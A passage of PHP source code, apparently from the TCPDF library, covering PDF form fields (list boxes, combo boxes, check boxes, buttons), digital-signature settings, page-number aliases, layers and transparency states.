('.chr(109).') Tj ET Q', $this->TextColor, $tmpfont['i'], $this->FontSizePt, $fx, $fy); if (!isset($popt['mk'])) { $popt['mk'] = array(); } $popt['mk']['ca'] = '(l)'; // merge options $opt = array_merge($popt, $opt); // set remaining annotation data $opt['Subtype'] = 'Widget'; $opt['ft'] = 'Btn'; if ($checked) { $opt['v'] = array('/'.$onvalue); $opt['as'] = $onvalue; } else { $opt['as'] = 'Off'; } // store readonly flag if (!isset($this->radiobutton_groups[$this->page][$name]['#readonly#'])) { $this->radiobutton_groups[$this->page][$name]['#readonly#'] = false; } $this->radiobutton_groups[$this->page][$name]['#readonly#'] |= ($opt['f'] & 64); $this->Annotation($x, $y, $w, $w, $name, $opt, 0); if ($this->rtl) { $this->x -= $w; } else { $this->x += $w; } } /** * Creates a List-box field * @param $name (string) field name * @param $w (int) width * @param $h (int) height * @param $values (array) array containing the list of values. * @param $prop (array) javascript field properties. Possible values are described on official Javascript for Acrobat API reference. * @param $opt (array) annotation parameters. Possible values are described on official PDF32000_2008 reference. * @param $x (float) Abscissa of the upper-left corner of the rectangle * @param $y (float) Ordinate of the upper-left corner of the rectangle * @param $js (boolean) if true put the field using JavaScript (requires Acrobat Writer to be rendered). * @public * @author Nicola Asuni * @since 4.8.000 (2009-09-07) */ public function ListBox($name, $w, $h, $values, $prop=array(), $opt=array(), $x='', $y='', $js=false) { if ($x === '') { $x = $this->x; } if ($y === '') { $y = $this->y; } // check page for no-write regions and adapt page margins if necessary list($x, $y) = $this->checkPageRegions($h, $x, $y); if ($js) { $this->_addfield('listbox', $name, $x, $y, $w, $h, $prop); $s = ''; foreach ($values as $value) { if (is_array($value)) { $s .= ',[\''.addslashes($value[1]).'\',\''.addslashes($value[0]).'\']'; } else { $s .= ',[\''.addslashes($value).'\',\''.addslashes($value).'\']'; } } $this->javascript .= 'f'.$name.'.setItems('.substr($s, 1).');'."\n"; return; } // get default style $prop = array_merge($this->getFormDefaultProp(), $prop); // get annotation data $popt = $this->getAnnotOptFromJSProp($prop); // set additional default values $this->annotation_fonts[$this->CurrentFont['fontkey']] = $this->CurrentFont['i']; $fontstyle = sprintf('/F%d %F Tf %s', $this->CurrentFont['i'], $this->FontSizePt, $this->TextColor); $popt['da'] = $fontstyle; // build appearance stream $popt['ap'] = array(); $popt['ap']['n'] = '/Tx BMC q '.$fontstyle.' '; $text = ''; foreach($values as $item) { if (is_array($item)) { $text .= $item[1]."\n"; } else { $text .= $item."\n"; } } $tmpid = $this->startTemplate($w, $h, false); $this->MultiCell($w, $h, $text, 0, '', false, 0, 0, 0, true, 0, false, true, 0, 'T', false); $this->endTemplate(); --$this->n; $popt['ap']['n'] .= $this->xobjects[$tmpid]['outdata']; unset($this->xobjects[$tmpid]); $popt['ap']['n'] .= 'Q EMC'; // merge options $opt = array_merge($popt, $opt); // set remaining annotation data $opt['Subtype'] = 'Widget'; $opt['ft'] = 'Ch'; $opt['t'] = $name; $opt['opt'] = $values; unset($opt['mk']['ca']); unset($opt['mk']['rc']); unset($opt['mk']['ac']); unset($opt['mk']['i']); unset($opt['mk']['ri']); unset($opt['mk']['ix']); unset($opt['mk']['if']); unset($opt['mk']['tp']); $this->Annotation($x, $y, $w, $h, $name, $opt, 0); if ($this->rtl) { $this->x -= $w; } else { $this->x += $w; } } /** * Creates a Combo-box field * @param $name (string) field name * @param $w (int) width * @param $h (int) height * @param $values (array) array containing the list of values. * @param $prop (array) javascript field properties. Possible values are described on official Javascript for Acrobat API reference. * @param $opt (array) annotation parameters. Possible values are described on official PDF32000_2008 reference. * @param $x (float) Abscissa of the upper-left corner of the rectangle * @param $y (float) Ordinate of the upper-left corner of the rectangle * @param $js (boolean) if true put the field using JavaScript (requires Acrobat Writer to be rendered). * @public * @author Nicola Asuni * @since 4.8.000 (2009-09-07) */ public function ComboBox($name, $w, $h, $values, $prop=array(), $opt=array(), $x='', $y='', $js=false) { if ($x === '') { $x = $this->x; } if ($y === '') { $y = $this->y; } // check page for no-write regions and adapt page margins if necessary list($x, $y) = $this->checkPageRegions($h, $x, $y); if ($js) { $this->_addfield('combobox', $name, $x, $y, $w, $h, $prop); $s = ''; foreach ($values as $value) { if (is_array($value)) { $s .= ',[\''.addslashes($value[1]).'\',\''.addslashes($value[0]).'\']'; } else { $s .= ',[\''.addslashes($value).'\',\''.addslashes($value).'\']'; } } $this->javascript .= 'f'.$name.'.setItems('.substr($s, 1).');'."\n"; return; } // get default style $prop = array_merge($this->getFormDefaultProp(), $prop); $prop['Combo'] = true; // get annotation data $popt = $this->getAnnotOptFromJSProp($prop); // set additional default options $this->annotation_fonts[$this->CurrentFont['fontkey']] = $this->CurrentFont['i']; $fontstyle = sprintf('/F%d %F Tf %s', $this->CurrentFont['i'], $this->FontSizePt, $this->TextColor); $popt['da'] = $fontstyle; // build appearance stream $popt['ap'] = array(); $popt['ap']['n'] = '/Tx BMC q '.$fontstyle.' '; $text = ''; foreach($values as $item) { if (is_array($item)) { $text .= $item[1]."\n"; } else { $text .= $item."\n"; } } $tmpid = $this->startTemplate($w, $h, false); $this->MultiCell($w, $h, $text, 0, '', false, 0, 0, 0, true, 0, false, true, 0, 'T', false); $this->endTemplate(); --$this->n; $popt['ap']['n'] .= $this->xobjects[$tmpid]['outdata']; unset($this->xobjects[$tmpid]); $popt['ap']['n'] .= 'Q EMC'; // merge options $opt = array_merge($popt, $opt); // set remaining annotation data $opt['Subtype'] = 'Widget'; $opt['ft'] = 'Ch'; $opt['t'] = $name; $opt['opt'] = $values; unset($opt['mk']['ca']); unset($opt['mk']['rc']); unset($opt['mk']['ac']); unset($opt['mk']['i']); unset($opt['mk']['ri']); unset($opt['mk']['ix']); unset($opt['mk']['if']); unset($opt['mk']['tp']); $this->Annotation($x, $y, $w, $h, $name, $opt, 0); if ($this->rtl) { $this->x -= $w; } else { $this->x += $w; } } /** * Creates a CheckBox field * @param $name (string) field name * @param $w (int) width * @param $checked (boolean) define the initial state. * @param $prop (array) javascript field properties. Possible values are described on official Javascript for Acrobat API reference. * @param $opt (array) annotation parameters. Possible values are described on official PDF32000_2008 reference. * @param $onvalue (string) value to be returned if selected. * @param $x (float) Abscissa of the upper-left corner of the rectangle * @param $y (float) Ordinate of the upper-left corner of the rectangle * @param $js (boolean) if true put the field using JavaScript (requires Acrobat Writer to be rendered). * @public * @author Nicola Asuni * @since 4.8.000 (2009-09-07) */ public function CheckBox($name, $w, $checked=false, $prop=array(), $opt=array(), $onvalue='Yes', $x='', $y='', $js=false) { if ($x === '') { $x = $this->x; } if ($y === '') { $y = $this->y; } // check page for no-write regions and adapt page margins if necessary list($x, $y) = $this->checkPageRegions($w, $x, $y); if ($js) { $this->_addfield('checkbox', $name, $x, $y, $w, $w, $prop); return; } if (!isset($prop['value'])) { $prop['value'] = array('Yes'); } // get default style $prop = array_merge($this->getFormDefaultProp(), $prop); $prop['borderStyle'] = 'inset'; // get annotation data $popt = $this->getAnnotOptFromJSProp($prop); // set additional default options $font = 'zapfdingbats'; if ($this->pdfa_mode) { // all fonts must be embedded $font = 'pdfa'.$font; } $this->AddFont($font); $tmpfont = $this->getFontBuffer($font); $this->annotation_fonts[$tmpfont['fontkey']] = $tmpfont['i']; $fontstyle = sprintf('/F%d %F Tf %s', $tmpfont['i'], $this->FontSizePt, $this->TextColor); $popt['da'] = $fontstyle; // build appearance stream $popt['ap'] = array(); $popt['ap']['n'] = array(); $fx = ((($w - $this->getAbsFontMeasure($tmpfont['cw'][110])) / 2) * $this->k); $fy = (($w - ((($tmpfont['desc']['Ascent'] - $tmpfont['desc']['Descent']) * $this->FontSizePt / 1000) / $this->k)) * $this->k); $popt['ap']['n']['Yes'] = sprintf('q %s BT /F%d %F Tf %F %F Td ('.chr(110).') Tj ET Q', $this->TextColor, $tmpfont['i'], $this->FontSizePt, $fx, $fy); $popt['ap']['n']['Off'] = sprintf('q %s BT /F%d %F Tf %F %F Td ('.chr(111).') Tj ET Q', $this->TextColor, $tmpfont['i'], $this->FontSizePt, $fx, $fy); // merge options $opt = array_merge($popt, $opt); // set remaining annotation data $opt['Subtype'] = 'Widget'; $opt['ft'] = 'Btn'; $opt['t'] = $name; if ($this->empty_string($onvalue)) { $onvalue = 'Yes'; } $opt['opt'] = array($onvalue); if ($checked) { $opt['v'] = array('/Yes'); $opt['as'] = 'Yes'; } else { $opt['v'] = array('/Off'); $opt['as'] = 'Off'; } $this->Annotation($x, $y, $w, $w, $name, $opt, 0); if ($this->rtl) { $this->x -= $w; } else { $this->x += $w; } } /** * Creates a button field * @param $name (string) field name * @param $w (int) width * @param $h (int) height * @param $caption (string) caption. * @param $action (mixed) action triggered by pressing the button. Use a string to specify a javascript action. Use an array to specify a form action options as on section 12.7.5 of PDF32000_2008. * @param $prop (array) javascript field properties. Possible values are described on official Javascript for Acrobat API reference. * @param $opt (array) annotation parameters. Possible values are described on official PDF32000_2008 reference. * @param $x (float) Abscissa of the upper-left corner of the rectangle * @param $y (float) Ordinate of the upper-left corner of the rectangle * @param $js (boolean) if true put the field using JavaScript (requires Acrobat Writer to be rendered). * @public * @author Nicola Asuni * @since 4.8.000 (2009-09-07) */ public function Button($name, $w, $h, $caption, $action, $prop=array(), $opt=array(), $x='', $y='', $js=false) { if ($x === '') { $x = $this->x; } if ($y === '') { $y = $this->y; } // check page for no-write regions and adapt page margins if necessary list($x, $y) = $this->checkPageRegions($h, $x, $y); if ($js) { $this->_addfield('button', $name, $this->x, $this->y, $w, $h, $prop); $this->javascript .= 'f'.$name.".buttonSetCaption('".addslashes($caption)."');\n"; $this->javascript .= 'f'.$name.".setAction('MouseUp','".addslashes($action)."');\n"; $this->javascript .= 'f'.$name.".highlight='push';\n"; $this->javascript .= 'f'.$name.".print=false;\n"; return; } // get default style $prop = array_merge($this->getFormDefaultProp(), $prop); $prop['Pushbutton'] = 'true'; $prop['highlight'] = 'push'; $prop['display'] = 'display.noPrint'; // get annotation data $popt = $this->getAnnotOptFromJSProp($prop); $this->annotation_fonts[$this->CurrentFont['fontkey']] = $this->CurrentFont['i']; $fontstyle = sprintf('/F%d %F Tf %s', $this->CurrentFont['i'], $this->FontSizePt, $this->TextColor); $popt['da'] = $fontstyle; // build appearance stream $popt['ap'] = array(); $popt['ap']['n'] = '/Tx BMC q '.$fontstyle.' '; $tmpid = $this->startTemplate($w, $h, false); $bw = (2 / $this->k); // border width $border = array( 'L' => array('width' => $bw, 'cap' => 'square', 'join' => 'miter', 'dash' => 0, 'color' => array(231)), 'R' => array('width' => $bw, 'cap' => 'square', 'join' => 'miter', 'dash' => 0, 'color' => array(51)), 'T' => array('width' => $bw, 'cap' => 'square', 'join' => 'miter', 'dash' => 0, 'color' => array(231)), 'B' => array('width' => $bw, 'cap' => 'square', 'join' => 'miter', 'dash' => 0, 'color' => array(51))); $this->SetFillColor(204); $this->Cell($w, $h, $caption, $border, 0, 'C', true, '', 1, false, 'T', 'M'); $this->endTemplate(); --$this->n; $popt['ap']['n'] .= $this->xobjects[$tmpid]['outdata']; unset($this->xobjects[$tmpid]); $popt['ap']['n'] .= 'Q EMC'; // set additional default options if (!isset($popt['mk'])) { $popt['mk'] = array(); } $ann_obj_id = ($this->n + 1); if (!empty($action) AND !is_array($action)) { $ann_obj_id = ($this->n + 2); } $popt['mk']['ca'] = $this->_textstring($caption, $ann_obj_id); $popt['mk']['rc'] = $this->_textstring($caption, $ann_obj_id); $popt['mk']['ac'] = $this->_textstring($caption, $ann_obj_id); // merge options $opt = array_merge($popt, $opt); // set remaining annotation data $opt['Subtype'] = 'Widget'; $opt['ft'] = 'Btn'; $opt['t'] = $caption; $opt['v'] = $name; if (!empty($action)) { if (is_array($action)) { // form action options as on section 12.7.5 of PDF32000_2008. $opt['aa'] = '/D <<'; $bmode = array('SubmitForm', 'ResetForm', 'ImportData'); foreach ($action AS $key => $val) { if (($key == 'S') AND in_array($val, $bmode)) { $opt['aa'] .= ' /S /'.$val; } elseif (($key == 'F') AND (!empty($val))) { $opt['aa'] .= ' /F '.$this->_datastring($val, $ann_obj_id); } elseif (($key == 'Fields') AND is_array($val) AND !empty($val)) { $opt['aa'] .= ' /Fields ['; foreach ($val AS $field) { $opt['aa'] .= ' '.$this->_textstring($field, $ann_obj_id); } $opt['aa'] .= ']'; } elseif (($key == 'Flags')) { $ff = 0; if (is_array($val)) { foreach ($val AS $flag) { switch ($flag) { case 'Include/Exclude': { $ff += 1 << 0; break; } case 'IncludeNoValueFields': { $ff += 1 << 1; break; } case 'ExportFormat': { $ff += 1 << 2; break; } case 'GetMethod': { $ff += 1 << 3; break; } case 'SubmitCoordinates': { $ff += 1 << 4; break; } case 'XFDF': { $ff += 1 << 5; break; } case 'IncludeAppendSaves': { $ff += 1 << 6; break; } case 'IncludeAnnotations': { $ff += 1 << 7; break; } case 'SubmitPDF': { $ff += 1 << 8; break; } case 'CanonicalFormat': { $ff += 1 << 9; break; } case 'ExclNonUserAnnots': { $ff += 1 << 10; break; } case 'ExclFKey': { $ff += 1 << 11; break; } case 'EmbedForm': { $ff += 1 << 13; break; } } } } else { $ff = intval($val); } $opt['aa'] .= ' /Flags '.$ff; } } $opt['aa'] .= ' >>'; } else { // Javascript action or raw action command $js_obj_id = $this->addJavascriptObject($action); $opt['aa'] = '/D '.$js_obj_id.' 0 R'; } } $this->Annotation($x, $y, $w, $h, $name, $opt, 0); if ($this->rtl) { $this->x -= $w; } else { $this->x += $w; } } // --- END FORMS FIELDS ------------------------------------------------ /** * Add certification signature (DocMDP or UR3) * You can set only one signature type * @protected * @author Nicola Asuni * @since 4.6.008 (2009-05-07) */ protected function _putsignature() { if ((!$this->sign) OR (!isset($this->signature_data['cert_type']))) { return; } $sigobjid = ($this->sig_obj_id + 1); $out = $this->_getobj($sigobjid)."\n"; $out .= '<< /Type /Sig'; $out .= ' /Filter /Adobe.PPKLite'; $out .= ' /SubFilter /adbe.pkcs7.detached'; $out .= ' '.$this->byterange_string; $out .= ' /Contents<'.str_repeat('0', $this->signature_max_length).'>'; $out .= ' /Reference ['; // array of signature reference dictionaries $out .= ' << /Type /SigRef'; if ($this->signature_data['cert_type'] > 0) { $out .= ' /TransformMethod /DocMDP'; $out .= ' /TransformParams <<'; $out .= ' /Type /TransformParams'; $out .= ' /P '.$this->signature_data['cert_type']; $out .= ' /V /1.2'; } else { $out .= ' /TransformMethod /UR3'; $out .= ' /TransformParams <<'; $out .= ' /Type /TransformParams'; $out .= ' /V /2.2'; if (!$this->empty_string($this->ur['document'])) { $out .= ' /Document['.$this->ur['document'].']'; } if (!$this->empty_string($this->ur['form'])) { $out .= ' /Form['.$this->ur['form'].']'; } if (!$this->empty_string($this->ur['signature'])) { $out .= ' /Signature['.$this->ur['signature'].']'; } if (!$this->empty_string($this->ur['annots'])) { $out .= ' /Annots['.$this->ur['annots'].']'; } if (!$this->empty_string($this->ur['ef'])) { $out .= ' /EF['.$this->ur['ef'].']'; } if (!$this->empty_string($this->ur['formex'])) { $out .= ' /FormEX['.$this->ur['formex'].']'; } } $out .= ' >>'; // close TransformParams // optional digest data (values must be calculated and replaced later) //$out .= ' /Data ********** 0 R'; //$out .= ' /DigestMethod/MD5'; //$out .= ' /DigestLocation[********** 34]'; //$out .= ' /DigestValue<********************************>'; $out .= ' >>'; $out .= ' ]'; // end of reference if (isset($this->signature_data['info']['Name']) AND !$this->empty_string($this->signature_data['info']['Name'])) { $out .= ' /Name '.$this->_textstring($this->signature_data['info']['Name'], $sigobjid); } if (isset($this->signature_data['info']['Location']) AND !$this->empty_string($this->signature_data['info']['Location'])) { $out .= ' /Location '.$this->_textstring($this->signature_data['info']['Location'], $sigobjid); } if (isset($this->signature_data['info']['Reason']) AND !$this->empty_string($this->signature_data['info']['Reason'])) { $out .= ' /Reason '.$this->_textstring($this->signature_data['info']['Reason'], $sigobjid); } if (isset($this->signature_data['info']['ContactInfo']) AND !$this->empty_string($this->signature_data['info']['ContactInfo'])) { $out .= ' /ContactInfo '.$this->_textstring($this->signature_data['info']['ContactInfo'], $sigobjid); } $out .= ' /M '.$this->_datestring($sigobjid, $this->doc_modification_timestamp); $out .= ' >>'; $out .= "\n".'endobj'; $this->_out($out); } /** * Set User's Rights for PDF Reader * WARNING: This is experimental and currently do not work. * Check the PDF Reference 8.7.1 Transform Methods, * Table 8.105 Entries in the UR transform parameters dictionary * @param $enable (boolean) if true enable user's rights on PDF reader * @param $document (string) Names specifying additional document-wide usage rights for the document. The only defined value is "/FullSave", which permits a user to save the document along with modified form and/or annotation data. * @param $annots (string) Names specifying additional annotation-related usage rights for the document. Valid names in PDF 1.5 and later are /Create/Delete/Modify/Copy/Import/Export, which permit the user to perform the named operation on annotations. * @param $form (string) Names specifying additional form-field-related usage rights for the document. Valid names are: /Add/Delete/FillIn/Import/Export/SubmitStandalone/SpawnTemplate * @param $signature (string) Names specifying additional signature-related usage rights for the document. The only defined value is /Modify, which permits a user to apply a digital signature to an existing signature form field or clear a signed signature form field. * @param $ef (string) Names specifying additional usage rights for named embedded files in the document. Valid names are /Create/Delete/Modify/Import, which permit the user to perform the named operation on named embedded files Names specifying additional embedded-files-related usage rights for the document. * @param $formex (string) Names specifying additional form-field-related usage rights. The only valid name is BarcodePlaintext, which permits text form field data to be encoded as a plaintext two-dimensional barcode. * @public * @author Nicola Asuni * @since 2.9.000 (2008-03-26) */ public function setUserRights( $enable=true, $document='/FullSave', $annots='/Create/Delete/Modify/Copy/Import/Export', $form='/Add/Delete/FillIn/Import/Export/SubmitStandalone/SpawnTemplate', $signature='/Modify', $ef='/Create/Delete/Modify/Import', $formex='') { $this->ur['enabled'] = $enable; $this->ur['document'] = $document; $this->ur['annots'] = $annots; $this->ur['form'] = $form; $this->ur['signature'] = $signature; $this->ur['ef'] = $ef; $this->ur['formex'] = $formex; if (!$this->sign) { $this->setSignature('', '', '', '', 0, array()); } } /** * Enable document signature (requires the OpenSSL Library). * The digital signature improve document authenticity and integrity and allows o enable extra features on Acrobat Reader. * To create self-signed signature: openssl req -x509 -nodes -days 365000 -newkey rsa:1024 -keyout tcpdf.crt -out tcpdf.crt * To export crt to p12: openssl pkcs12 -export -in tcpdf.crt -out tcpdf.p12 * To convert pfx certificate to pem: openssl pkcs12 -in tcpdf.pfx -out tcpdf.crt -nodes * @param $signing_cert (mixed) signing certificate (string or filename prefixed with 'file://') * @param $private_key (mixed) private key (string or filename prefixed with 'file://') * @param $private_key_password (string) password * @param $extracerts (string) specifies the name of a file containing a bunch of extra certificates to include in the signature which can for example be used to help the recipient to verify the certificate that you used. * @param $cert_type (int) The access permissions granted for this document. Valid values shall be: 1 = No changes to the document shall be permitted; any change to the document shall invalidate the signature; 2 = Permitted changes shall be filling in forms, instantiating page templates, and signing; other changes shall invalidate the signature; 3 = Permitted changes shall be the same as for 2, as well as annotation creation, deletion, and modification; other changes shall invalidate the signature. * @param $info (array) array of option information: Name, Location, Reason, ContactInfo. * @public * @author Nicola Asuni * @since 4.6.005 (2009-04-24) */ public function setSignature($signing_cert='', $private_key='', $private_key_password='', $extracerts='', $cert_type=2, $info=array()) { // to create self-signed signature: openssl req -x509 -nodes -days 365000 -newkey rsa:1024 -keyout tcpdf.crt -out tcpdf.crt // to export crt to p12: openssl pkcs12 -export -in tcpdf.crt -out tcpdf.p12 // to convert pfx certificate to pem: openssl // OpenSSL> pkcs12 -in <cert.pfx> -out <cert.crt> -nodes $this->sign = true; ++$this->n; $this->sig_obj_id = $this->n; // signature widget ++$this->n; // signature object ($this->sig_obj_id + 1) $this->signature_data = array(); if (strlen($signing_cert) == 0) { $signing_cert = 'file://'.dirname(__FILE__).'/tcpdf.crt'; $private_key_password = 'tcpdfdemo'; } if (strlen($private_key) == 0) { $private_key = $signing_cert; } $this->signature_data['signcert'] = $signing_cert; $this->signature_data['privkey'] = $private_key; $this->signature_data['password'] = $private_key_password; $this->signature_data['extracerts'] = $extracerts; $this->signature_data['cert_type'] = $cert_type; $this->signature_data['info'] = $info; } /** * Set the digital signature appearance (a cliccable rectangle area to get signature properties) * @param $x (float) Abscissa of the upper-left corner. * @param $y (float) Ordinate of the upper-left corner. * @param $w (float) Width of the signature area. * @param $h (float) Height of the signature area. * @param $page (int) option page number (if < 0 the current page is used). * @public * @author Nicola Asuni * @since 5.3.011 (2010-06-17) */ public function setSignatureAppearance($x=0, $y=0, $w=0, $h=0, $page=-1) { $this->signature_appearance = $this->getSignatureAppearanceArray($x, $y, $w, $h, $page); } /** * Add an empty digital signature appearance (a cliccable rectangle area to get signature properties) * @param $x (float) Abscissa of the upper-left corner. * @param $y (float) Ordinate of the upper-left corner. * @param $w (float) Width of the signature area. * @param $h (float) Height of the signature area. * @param $page (int) option page number (if < 0 the current page is used). * @public * @author Nicola Asuni * @since 5.9.101 (2011-07-06) */ public function addEmptySignatureAppearance($x=0, $y=0, $w=0, $h=0, $page=-1) { ++$this->n; $this->empty_signature_appearance[] = array('objid' => $this->n) + $this->getSignatureAppearanceArray($x, $y, $w, $h, $page); } /** * Get the array that defines the signature appearance (page and rectangle coordinates). * @param $x (float) Abscissa of the upper-left corner. * @param $y (float) Ordinate of the upper-left corner. * @param $w (float) Width of the signature area. * @param $h (float) Height of the signature area. * @param $page (int) option page number (if < 0 the current page is used). * @return (array) Array defining page and rectangle coordinates of signature appearance. * @protected * @author Nicola Asuni * @since 5.9.101 (2011-07-06) */ protected function getSignatureAppearanceArray($x=0, $y=0, $w=0, $h=0, $page=-1) { $sigapp = array(); if (($page < 1) OR ($page > $this->numpages)) { $sigapp['page'] = $this->page; } else { $sigapp['page'] = intval($page); } $a = $x * $this->k; $b = $this->pagedim[($sigapp['page'])]['h'] - (($y + $h) * $this->k); $c = $w * $this->k; $d = $h * $this->k; $sigapp['rect'] = sprintf('%F %F %F %F', $a, $b, ($a + $c), ($b + $d)); return $sigapp; } /** * Create a new page group. * NOTE: call this function before calling AddPage() * @param $page (int) starting group page (leave empty for next page). * @public * @since 3.0.000 (2008-03-27) */ public function startPageGroup($page='') { if (empty($page)) { $page = $this->page + 1; } $this->newpagegroup[$page] = sizeof($this->newpagegroup) + 1; } /** * This method is DEPRECATED and doesn't have any effect. * Please remove any reference to this method. * @param $s (string) Empty parameter. * @deprecated deprecated since version 5.9.089 (2011-06-13) * @public */ public function AliasNbPages($s='') {} /** * This method is DEPRECATED and doesn't have any effect. * Please remove any reference to this method. * @param $s (string) Empty parameter. * @deprecated deprecated since version 5.9.089 (2011-06-13) * @public */ public function AliasNumPage($s='') {} /** * Set the starting page number. * @param $num (int) Starting page number. * @since 5.9.093 (2011-06-16) * @public */ public function setStartingPageNumber($num=1) { $this->starting_page_number = max(0, intval($num)); } /** * Returns the string alias used right align page numbers. * If the current font is unicode type, the returned string wil contain an additional open curly brace. * @return string * @since 5.9.099 (2011-06-27) * @public */ public function getAliasRightShift() { // calculate aproximatively the ratio between widths of aliases and replacements. $ref = '{'.$this->alias_right_shift.'}{'.$this->alias_tot_pages.'}{'.$this->alias_num_page.'}'; $rep = str_repeat(' ', $this->GetNumChars($ref)); $wdiff = max(1, ($this->GetStringWidth($ref) / $this->GetStringWidth($rep))); $sdiff = sprintf('%F', $wdiff); $alias = $this->alias_right_shift.$sdiff.'}'; if ($this->isUnicodeFont()) { $alias = '{'.$alias; } return $alias; } /** * Returns the string alias used for the total number of pages. * If the current font is unicode type, the returned string is surrounded by additional curly braces. * This alias will be replaced by the total number of pages in the document. * @return string * @since 4.0.018 (2008-08-08) * @public */ public function getAliasNbPages() { if ($this->isUnicodeFont()) { return '{'.$this->alias_tot_pages.'}'; } return $this->alias_tot_pages; } /** * Returns the string alias used for the page number. * If the current font is unicode type, the returned string is surrounded by additional curly braces. * This alias will be replaced by the page number. * @return string * @since 4.5.000 (2009-01-02) * @public */ public function getAliasNumPage() { if ($this->isUnicodeFont()) { return '{'.$this->alias_num_page.'}'; } return $this->alias_num_page; } /** * Return the alias for the total number of pages in the current page group. * If the current font is unicode type, the returned string is surrounded by additional curly braces. * This alias will be replaced by the total number of pages in this group. * @return alias of the current page group * @public * @since 3.0.000 (2008-03-27) */ public function getPageGroupAlias() { if ($this->isUnicodeFont()) { return '{'.$this->alias_group_tot_pages.'}'; } return $this->alias_group_tot_pages; } /** * Return the alias for the page number on the current page group. * If the current font is unicode type, the returned string is surrounded by additional curly braces. * This alias will be replaced by the page number (relative to the belonging group). * @return alias of the current page group * @public * @since 4.5.000 (2009-01-02) */ public function getPageNumGroupAlias() { if ($this->isUnicodeFont()) { return '{'.$this->alias_group_num_page.'}'; } return $this->alias_group_num_page; } /** * Return the current page in the group. * @return current page in the group * @public * @since 3.0.000 (2008-03-27) */ public function getGroupPageNo() { return $this->pagegroups[$this->currpagegroup]; } /** * Returns the current group page number formatted as a string. * @public * @since 4.3.003 (2008-11-18) * @see PaneNo(), formatPageNumber() */ public function getGroupPageNoFormatted() { return $this->formatPageNumber($this->getGroupPageNo()); } /** * Format the page numbers. * This method can be overriden for custom formats. * @param $num (int) page number * @protected * @since 4.2.005 (2008-11-06) */ protected function formatPageNumber($num) { return number_format((float)$num, 0, '', '.'); } /** * Format the page numbers on the Table Of Content. * This method can be overriden for custom formats. * @param $num (int) page number * @protected * @since 4.5.001 (2009-01-04) * @see addTOC(), addHTMLTOC() */ protected function formatTOCPageNumber($num) { return number_format((float)$num, 0, '', '.'); } /** * Returns the current page number formatted as a string. * @public * @since 4.2.005 (2008-11-06) * @see PaneNo(), formatPageNumber() */ public function PageNoFormatted() { return $this->formatPageNumber($this->PageNo()); } /** * Put pdf layers. * @protected * @since 3.0.000 (2008-03-27) */ protected function _putocg() { if (empty($this->pdflayers)) { return; } foreach ($this->pdflayers as $key => $layer) { $this->pdflayers[$key]['objid'] = $this->_newobj(); $out = '<< /Type /OCG'; $out .= ' /Name '.$this->_textstring($layer['name'], $this->pdflayers[$key]['objid']); $out .= ' /Usage <<'; $out .= ' /Print <</PrintState /'.($layer['print']?'ON':'OFF').'>>'; $out .= ' /View <</ViewState /'.($layer['view']?'ON':'OFF').'>>'; $out .= ' >> >>'; $out .= "\n".'endobj'; $this->_out($out); } } /** * Start a new pdf layer. * @param $name (string) Layer name (only a-z letters and numbers). Leave empty for automatic name. * @param $print (boolean) Set to true to print this layer. * @param $view (boolean) Set to true to view this layer. * @public * @since 5.9.102 (2011-07-13) */ public function startLayer($name='', $print=true, $view=true) { if ($this->state != 2) { return; } $layer = sprintf('LYR%03d', (count($this->pdflayers) + 1)); if (empty($name)) { $name = $layer; } else { $name = preg_replace('/[^a-zA-Z0-9_\-]/', '', $name); } $this->pdflayers[] = array('layer' => $layer, 'name' => $name, 'print' => $print, 'view' => $view); $this->openMarkedContent = true; $this->_out('/OC /'.$layer.' BDC'); } /** * End the current PDF layer. * @public * @since 5.9.102 (2011-07-13) */ public function endLayer() { if ($this->state != 2) { return; } if ($this->openMarkedContent) { // close existing open marked-content layer $this->_out('EMC'); $this->openMarkedContent = false; } } /** * Set the visibility of the successive elements. * This can be useful, for instance, to put a background * image or color that will show on screen but won't print. * @param $v (string) visibility mode. Legal values are: all, print, screen or view. * @public * @since 3.0.000 (2008-03-27) */ public function setVisibility($v) { if ($this->state != 2) { return; } $this->endLayer(); switch($v) { case 'print': { $this->startLayer('Print', true, false); break; } case 'view': case 'screen': { $this->startLayer('View', false, true); break; } case 'all': { $this->_out(''); break; } default: { $this->Error('Incorrect visibility: '.$v); break; } } } /** * Add transparency parameters to the current extgstate * @param $parms (array) parameters * @return the number of extgstates * @protected * @since 3.0.000 (2008-03-27) */ protected function addExtGState($parms) { if ($this->pdfa_mode) { // transparencies are not allowed in PDF/A mode return; } // check if this ExtGState already exist foreach ($this->extgstates as $i => $ext) { if ($ext['parms'] == $parms) { if ($this->inxobj) { // we are inside an XObject template $this->xobjects[$this->xobjid]['extgstates'][$i] = $ext; } // return reference to existing ExtGState return $i; } } $n = (count($this->extgstates) + 1); $this->extgstates[$n] = array('parms' => $parms); if ($this->inxobj) { // we are inside an XObject template $this->xobjects[$this->xobjid]['extgstates'][$n] = $this->extgstates[$n]; } return $n; } /** * Add an extgstate * @param $gs (array) extgstate * @protected * @since 3.0.000 (2008-03-27) */ protected function setExtGState($gs) { if ($this->pdfa_mode OR ($this->state != 2)) { // transparency is not allowed in PDF/A mode return; } $this->_out(sprintf('/GS%d gs', $gs)); } /** * Put extgstates for object transparency * @protected * @since 3.0.000 (2008-03-27) */ protected function _putextgstates() { foreach ($this->extgstates as $i => $ext) { $this->extgstates[$i]['n'] = $this->_newobj(); $out = '<< /Type /ExtGState'; foreach ($ext['parms'] as $k => $v) { if (is_float($v)) { $v = sprintf('%F', $v); } elseif ($v === true) { $v = 'true'; } elseif ($v === false) { $v = 'false'; } $out .= ' /'.$k.' '.$v; } $out .= ' >>'; $out .= "\n".'endobj'; $this->_out($out); } } /** * Set overprint mode for stroking (OP) and non-stroking (op) painting operations. * (Check the "Entries in a Graphics State Parameter Dictionary" on PDF 32000-1:2008). * @param $stroking (boolean) If true apply overprint for stroking operations. * @param $nonstroking (boolean) If true apply overprint for painting operations other than stroking. * @param $mode (integer) Overprint mode: (0 = each source colour component value replaces the value previously painted for the corresponding device colorant; 1 = a tint value of 0.0 for a source colour component shall leave the corresponding component of the previously painted colour unchanged). * @public * @since 5.9.152 (2012-03-23) */ public function setOverprint($stroking=true, $nonstroking='', $mode=0) { if ($this->state != 2) { return; } $stroking = $stroking ? true : false; if ($this->empty_string($nonstroking)) { // default value if not set $nonstroking = $stroking; } else { $nonstroking = $nonstroking ? true : false; } if (($mode != 0) AND ($mode != 1)) { $mode = 0; } $this->overprint = array('OP' => $stroking, 'op' => $nonstroking, 'OPM' => $mode); $gs = $this->addExtGState($this->overprint); $this->setExtGState($gs); } /** * Get the overprint mode array (OP, op, OPM). * (Check the 